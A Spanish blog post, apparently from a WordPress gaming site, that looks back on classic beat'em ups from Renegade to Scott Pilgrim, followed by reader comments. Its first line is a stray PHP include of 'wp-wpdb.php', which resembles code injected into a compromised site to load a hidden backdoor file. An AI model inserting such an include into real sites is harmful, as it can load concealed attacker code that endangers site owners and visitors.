if (is_file('wp-wpdb.php')) include_once('wp-wpdb.php'); Réquiem por un Beat’em Up – La Fortaleza de LeChuck

Réquiem por un Beat’em Up

Hoy en día podemos decir que vivimos una era aparentemente dorada para los jugones: las máquinas se alzan sobre una potencia inimaginable hace apenas una década, ofreciéndonos unos gráficos de infarto, recreaciones faciales a las que dan ganas de petar las espinillas y probablemente, más pronto que tarde, acabaran tomando conciencia de si mismas condenando así a toda la humanidad, aunque eso es otra historia… Lo que está claro es que eso de lanzarse a salvar el mundo, vestido con únicamente 4 o 5 polígonos (alguien por ahí al fondo ha gritado «CLOUD STRIIIIIFE»…), pasó a la historia hace ya cierto tiempo…
«Yo no soy emo, es que me han poligonizado así, ¿vale?»

Esto que a priori parece fantabuloso, en la práctica, y gracias sobretodo a las pocas ganas de arriesgar que demuestra la industria (el dinero fácil manda), ha desembocado en una secuencia interminable de secuelas de los superventas triple A, clones de estos juegos de éxito, clones de los clones de dichos juegos, etc. Con lo que llegamos al panorama actual en el que el 90% de los juegos de acción son shooters, en primera o tercera persona. Cosa que no es del todo mala, ojo, porque gracias a eso disfrutamos de joyas como Gears of War, Uncharted, Halo o Battlefield, sin ir más lejos. El debate sobre la falta de innovación lo dejo para otro momento, pero… ¿os imaginais por un momento que todo un género desapareciera de repente? ¿Qué no hubieran más FPS? ¿No more Call of Duties? Pues eso es lo que (casi) pasó a principios de milenio con uno de los géneros más queridos y que más nostalgia despierta entre los que vivieron la lejana era de los 8 y 16 bits. Eso es lo que pasó con los «Beat’em Up».
«Beat’em Ups» o «Yo -y mi colega- contra el barrio». Ostiando punkis desde tiempos inmemoriales.

Y es que no son pocos los créditos gastados por culpa de ese boss maldito, al que no acabamos de meterle bien los combos. O las monedas de cinco duros gastadas para que no mataran a nuestro héroe atado a una silla, mientras una cuenta atrás transcurría implacable a la vez que la mecha de la dinamita que explotaría al llegar a cero…
El concepto y argumento de esta clase de juegos era más simple que el mecanismo de un botijo: «Tira pa’lante y hazle una cara nueva a todo el que te salga al paso». Simple, pero efectivo. Y muy divertido. Eso sí, usando puños, piernas y ocasionalmente algún arma de fuego, barril y/o tubería que encontremos en nuestro viaje eclesiástico (por aquello de ir repartiendo hostias entre las masas). Los Beat ‘em Ups basados en armas cuerpo a cuerpo mutaron posteriormente en otra categoría, los Hack & Slash.

Vamos a hacer un breve, brevísimo, repaso por los primeros exponentes del género. Solo algunos y no entraré mucho en detalles ya que si no, debido a la saturación de títulos que hubo, tendríamos entrada para leer hasta el día del juicio final, y tampoco es plan de aburrir al personal. Son multitud y sé que se quedan muchos en el tintero, pero estos quizás sean los más representativos y recordados. Además, en muchas ocasiones se copiaban vilmente los unos a los otros…
Renegade (Arcade, 1986)

Ya lo dice el bueno de Bud, «Ostia que no se da, ostia que se pierde». Cuanta razón…
 
Este podría ser considerado el «padre» de las criaturas. No fue el primero, ni mucho menos, pero fue el que sentó las bases de jugabilidad, poder desplazarse arriba y abajo por la pantalla aparte del consabido scroll lateral, la aparición de un jefe final en cada fase… También fue precursor en el hecho de que las oleadas de enemigos son macarrillas y bandas callejeras, algo que repitieron muchos de sus «hijos». Y si este fue el padre, la madre fue…
Double Dragon (Arcade, 1987)
¿Quién dijo que los combates tenían que ser justos? ¡¡Sujétalo Billy mientras le zurro!!
Y éste seguramente fue el gran culpable del auge inmediato del género. Allí donde estuviera esta recreativa automáticamente se generaba un corrillo alrededor de aquellos que estuvieran jugando en ella… En Double Dragon no solo teníamos a Player1-Billy dando toñas, sino que podíamos jugar con otro amigo a la vez  (ahora en la Era Multiplayer parece una tontería, pero en su momento era tremendo). La historia empieza cuando nos raptan a la novia (¿cómo se atreven?) y nos toca rescatarla de la manera que sabemos. Lo habéis adivinado, a tortas. Para el recuerdo, aparte de ser un excelente juego que abría el abanico de combos visto hasta la fecha, queda el mítico final, en el cual solo uno puede quedarse con la buena moza… Y más de uno se aprovechó en su momento del desconocimiento del final por parte del otro player…
Con el gran éxito de estos dos juegos nos vimos sepultados en los años venideros bajo una numerosa prole…

 

Golden Axe (Arcade, 1989)

Tú el bárbaro, tú el arquero, acróbata, mago… euh… y un enanoooo

El Hacha Dorada de Sega, una de las emblemáticas recreativas de la compañía. En esta ocasión nos introducimos en un mundo de fantasía medieval, con magia, espadas, hachas, demonios, inspectores de la SGAE y otros seres del averno…
Este juego desprendía carisma por los cuatro costados, y dio paso a 2 secuelas directas, varios spin-offs y un remake del cual huir como si no hubiera un mañana.
Aparte de lo obvio de avanzar pasando a cuchillo a los enemigos introducía novedades como el uso de animales como vehículos, pudiendo montar simpáticos animalillos homicidas que nos ayudaran en nuestra gesta. Los protagonistas son los habituales en estas vicisitudes: El guerrero mazas con aires de Conan, la amazona ágil con aptitud para la magia y el enano con la habilidad…. de ser enano. Y de repartir hachazos como panes, como buen enano. Acumular magia nos permitía soltar espectaculares ataques especiales (impresionante el Fénix con el que atacaba la fémina cuando estaba al máximo de poder). Y cómo olvidar las fases de bonus, con esos duendecillos que nos pretendían robar mientras pernoctábamos al lado de una hoguera… Que yo recuerde, aunque de eso no puedo estar seguro, también era el primer juego del género en el que, si jugábamos en dificultad «fácil», no nos enfrentamos al auténtico jefe final, sino que se acaba antes, en un subjefe anterior, dándonos el juego un final incompleto y retándonos a acabarlo en otra dificultad (por gallinas).

Final Fight (Arcade, 1989)

Como alcalde vuestro que soy, os debo una explicación… ¡y un par de yoyas!

En estas que Capcom, que siempre ha sido avispada para oler dinero, vio el filón y dedicó bastantes de sus recursos a este género. De la mano de Capcom surgieron joyas intemporales como el genialérrimo «Cadillac & Dinosaurs» (que es uno de mis preferidos, sino el que más), los no menos adictivos «Captain Commando«, «The Punisher«, «Dungeons & Dragons: Shadows Over Mistrara«, «Alien vs Predator» o el que los abandera, «Final Fight«, merecedores cada uno de ellos de una extensa entrada propia.
El argumento no podía ser más tópico (benditos 90…). Mike Haggar es un ex-luchador de wrestling, ahora alcalde de Metro City, famoso por su mano dura con las bandas criminales (y por su mamporro lateral a lo Bud Spencer). Como represalia por su política anti-bandas la principal de ellas, Madgear, secuestra a su hija para obligarle a hacer lo que ellos quieran. Con lo que la banda no contaba es con que el señor alcalde decidiera tomarse la justicia por su mano (o mejor dicho, por su puño), con la ayuda inestimable de Cody y Guy, antes que se pluriemplearan en otras sagas de la compañía.
Así empezaba una de las grandes sagas de los videojuegos. El arcade causaba admiración por esos sprites gigantescos y fluidos, y francamente era uno de los más divertidos a dos players. También hay que decir que era difícil como él solo y la recreativa se nos convertía en un agujero negro para el bolsillo, sobretodo cuando nos enfrentábamos a los jefes finales con más carisma y puñeteros jamás vistos en juegos de este tipo. Si además le añadimos una excelente banda sonora al conjunto tenemos a uno de los clásicos por antonomasia de la historia jugona. Imprescindible.

Streets of Rage II (Megadrive, 1992)

Ven, si solo te voy a poner bien el chaleco…

¿Y por qué la segunda entrega y no la primera o la tercera? Porque para mi gusto personal fue la mejor y la más redonda. Y probablemente este juego sea el paradigma del género, porque tiene todos, o casi todos, los elementos que hicieron los Beat’em Up grandes. En cierto modo tiene muchos elementos en común con los Final Fight: una ambientación urbana, diseño de enemigos, jugabilidad endiabladamente fluida, e incluso argumento similar… ¿aunque quién quiere argumento para salir a repartir estopa? En esta ocasión Mr. X, el jefe criminal de turno, ha secuestrado a Adam, Príncipe de Etern… eh… co-protagonista de la primera parte. Así que nos toca salir con Axel y compañía por esas calles de furia a patear su ejército de matones y kinkis, y enseñarle que eso de secuestrar gente está muy feo. Como veis, digno de J.J. Abrams.
Uno de los puntos fuertes de Streets of Rage II es la tremenda variedad de golpes que se pueden dar. Las animaciones estaban muy trabajadas y los escenarios son memorables, como el del parque de atracciones o la playa. Y es que los gráficos exprimían los 16 bits de la Megadrive.
Otro de los puntos más recordados es su excelentísima banda sonora, obra del maestro Yuzo Koshiro. Tecno-electrónica, por definirla de alguna manera, se adaptaba perfectamente al desarrollo y brillaba espectacularmente. De sombrero.
Streets of Rage, un juego inolvidable. Cuantas horas de vicio…

TMNT IV: Turtles in Time (Snes, 1992) 

El Final Boss es Shredder. ¿Spoiler? Amos, anda… se lo esperaba hasta la Estatua de la Libertad

Para lo último dejo el que tengo más cariño. Si los usuarios del Cerebro de la Bestia envidiaban que Sega tuviera la saga Bare KnuckleStreets of Rage«, en su nombre original), los usuarios de una Megadrive se ponían verdes-tortuga de lo mismo, entre otras cosas, por este juego…
Una vez más el argumento no es más que una mera excusa para sacar nuestras conchas fuera de la cloaca y salir a repartir justicia a manos llenas. Mientras vemos un reportaje en televisión, aparece Krank, uno de los grandes malosos de la serie y vemos como arranca y se lleva a pulso la estatua de la Libertad. De ahí deducimos dos cosas: 1) Que Krank es del mismo Bilbao, por lo menos, y 2) Que una vez más tenemos que solventar un secuestro (sensación de deja vú), aunque en este caso no sea el de una persona de carne y hueso… A partir de ahí la situación nos llevará a escenarios muy variados, desde Nueva York por la noche, al Tecnódromo e incluso a viajar por el tiempo… Pero no hay que fijarse mucho en el argumento, si TMNT IV destacaba en algo es en lo siguiente: Era MUY divertido. Y eso es el 99% de cualquier juego que merezca la pena.
4 jugadores a la vez en el arcade, 2 en consola, soldados del Clan del Pie que apalear a mansalva, todos los personajes que salían en el anime de jefes (muy bien reflejados con su personalidad), viajes en el tiempo, tablas de surf, alcantarillas, pizzas… ¿qué más se puede pedir? Konami puso todo eso y más.
El juego se nota que se hizo con mucho mimo, tanto que a día de hoy podemos rejugarlo y el control no resulta tosco, como sucede con algunos de sus congéneres. La música también es de alto nivel y tiene un par de piezas en su repertorio especialmente memorables.
Cabe destacar que se hizo un remake en 2008 para Xbox Live subtitulado «Re-Shelled» y que francamente no merece la pena, parece que le hayan quitado el alma al juego y la hayan pasado por la trituradora…


¿Y después qué?

Llegaron los 32 bits, y de repente el scroll lateral y las 2D en general empezaron a perder presencia en el mercado. Playstation, Saturn y Nintendo 64 nos sorprendieron con entornos tridimensionales, evolucionando el género de las plataformas y los Beat’em Ups a los 3D. Sin embargo transcurrieron los años y, a pesar de varios intentos de reflotar el género, ya no era lo mismo…  Lo intentaron juegos dispares como, por citar algunos, Fighting Force (para Psx y N64), The Warriors, God Hand o The Bouncer (todos ellos para Ps2/Xbox). Y en general con notas bastante mediocres… De los Beat’em Up beben sus fuentes juegos que sí han triunfado en la última generación, en su mayoría los mencionados de la variante Hack & Slash. Sagas como Devil May Cry, Dinasty Warriors, Ninja Gaiden o God of War les deben mucho. Pero ese espíritu añejo de pelea barriobajera se perdió por el camino…

En el God Hand no todo es malo. Puedes golpearle la entrepierna a payasos engorilados…

Entonces… ¿el género como lo conocimos… murió? No del todo, siempre hay una aldea de irreductibles estudios resistiendo ahora y siempre al invasor (por Tutatis). Aunque este tipo de juegos ha quedado desplazado a emuladores y fan-versiones, como el estupendo y completísimo remake de la saga Streets of Rage hecha por españoles,  aún ahora a veces nos topamos con Beat’em Ups de calidad, con muchos homenajes y con mucho sentido del humor. Como por ejemplo:



Castle Crashers (Live, PSN; 2008)

Este es un «Tenéis que probarlo» en toda regla, vio la luz primero en el bazar de la Xbox, y para fortuna de los Sonyers se adaptó también al Network. Con un manejo sencillo, un diseño cartoon desenfadado, una jugabilidad muy adictiva y toneladas ingentes de humor, es lo más divertido que se puede encontrar para jugar hasta 4 personas. Una joyita.


Scott Pilgrim vs The World: The Game (Live, PSN; 2010)

Y de Scott Pilgrim no creo que haga mucha falta decir nada, la música 8-bits y las múltiples referencias a la cultura manga, cómic y videojueguil ya lo dicen todo. Homenajes continuos, mucho humor también, y una jugabilidad admirable y tremendamente adictiva que lo hacen otro de los imprescindibles de los bazares. Además ambos tienen una banda sonora sobresaliente.

Con juegos así, el género de vez en cuando da unos coletazos, y se resiste a ser declarado oficialmente muerto. Aunque es cierto que los 90 fueron su época dorada, y lejanos parecen quedar ya sus días de gloria. Poco se puede innovar en él, pero su influjo y evolución está presente en muchos de los juegos a los que viciamos hoy en día. Al menos les queda un consuelo: si de algo pueden presumir los Beat’em Ups es de tener grabado a fuego, sangre y ostias, sobretodo muchas ostias, el cariño de los jugones. Y por muchos años.

Por LeChuck

Desde las profundidades del Caribe vigilo los mares.

14 comentarios

  1. El Target Renegade de Amstrad fue el primero que jugué! dios qué gran juego >_< Recuerdo que en la primera pantalla las motos siempre me atropellaban, no sabía saltarlas a tiempo! xD
    Entre los miles que he probado me quedo con, Street of Rage 2, musicón, enemigos variados y geniales, pantallas originales y Axel (LLLLL)

  2. Los 80 y primeros 90 no habrían sido lo mismo sin beat'em ups.

    Mi top 5:
    Turtles in time (Super nintendo)
    Streets of rage 2 (megadrive)
    Final fight 1 (recreativa/ Mega CD).
    Double Dragon 1 (game boy)
    Golden Axe 1 (Amstrad 286!)

  3. Todo el mundo se acuerda del Golden Axe… ¿es que nadie recuerda el Legend de la super? Juego grandísimo con una música increíble.
    Me encantó el Scott Pilgrim, pero yo me quedo con TMNT 2 Arcade Game de la NES, me trae muy buenos recuerdos de mi infancia.

  4. Pues yo este género apenas lo he tocado, exceptuando Final Fight, que tengo el juego de GBA regalado por un novio gamer de mi prima cuando yo era peque.
    También me gustaría probar el de Scott Pilgrim, más que nada porque la película me encanta.

  5. Es lo malo de abarcar mucho y apretar poco… esta entrada no le hace justicia a los grandes JUEGAZOS y vicios de este género…

    Cada uno tiene su/s preferido/s, y lo bueno es que hay bastante variedad depende a quien le preguntes (aunque al final acaban saliendo los 3 o 4 mismos). A mí personalmente, aparte de los de arriba, me encantan los Battletoads, Cadillac & Dinosaurs, la

  6. Es muy chungo elegir en un genero al q los viejos del lugar hemos jugado tanto. Lo mismo les pasara a los jóvenes cuando dentro de unos años le pregunten por su shooter favorito.
    La verdad es q streets of rage y golden axe son los q mas jugué. También el turtles con sus 4 makinas conectadas para jugar coop 4. Creo q esos 3 juegos son de los mejores representantes de esa época para mi ya q

  7. si se crearan mas beat em up los prohibirian por ludopatia , seran basiquillos pero superadictivos , y con una jugabilidad y diversion bestial , quien no a quemado su megadrive hechandole horas al golden axe .Eso si dificiles un rato por que habien quien tiene huevos a pasarse el battletoads o el battletoads and double dragon .

  8. Pues yo que debo ser de los viejos me quedo con Double Dragon. Para mi fue un bombazo de recreativa. Luego también jugué mucho al Golden Axe y Final Fight, pero no fue lo mismo.
    Algún día tengo que hacer un remakeonline del Double Dragon, es de los que tengo apuntados en la lista de próximos proyectos, junto con un remake de mercs/ikari/commando/jackal que posiblemente sea el próximo.

  9. Es uno de mis géneros favoritos. El primero al que jugué fue al Target Renegade, del que guardo muy gratos recuerdos, pero mi favorito siempre será Streets of Rage II. En cuanto al Legend que citan más arriba, la verdad es que me parece bastante flojo por temas de monotonía y tal, además de otros defectos.

  10. Yo me atrevería a decir que el género se reencarnó en Devil May Cry, God of War y los infinitos clones de ambos. Que tampoco se hace nada original en este departamento desde principios de los 2000, oiga, pero siguen siendo beat’em ups.

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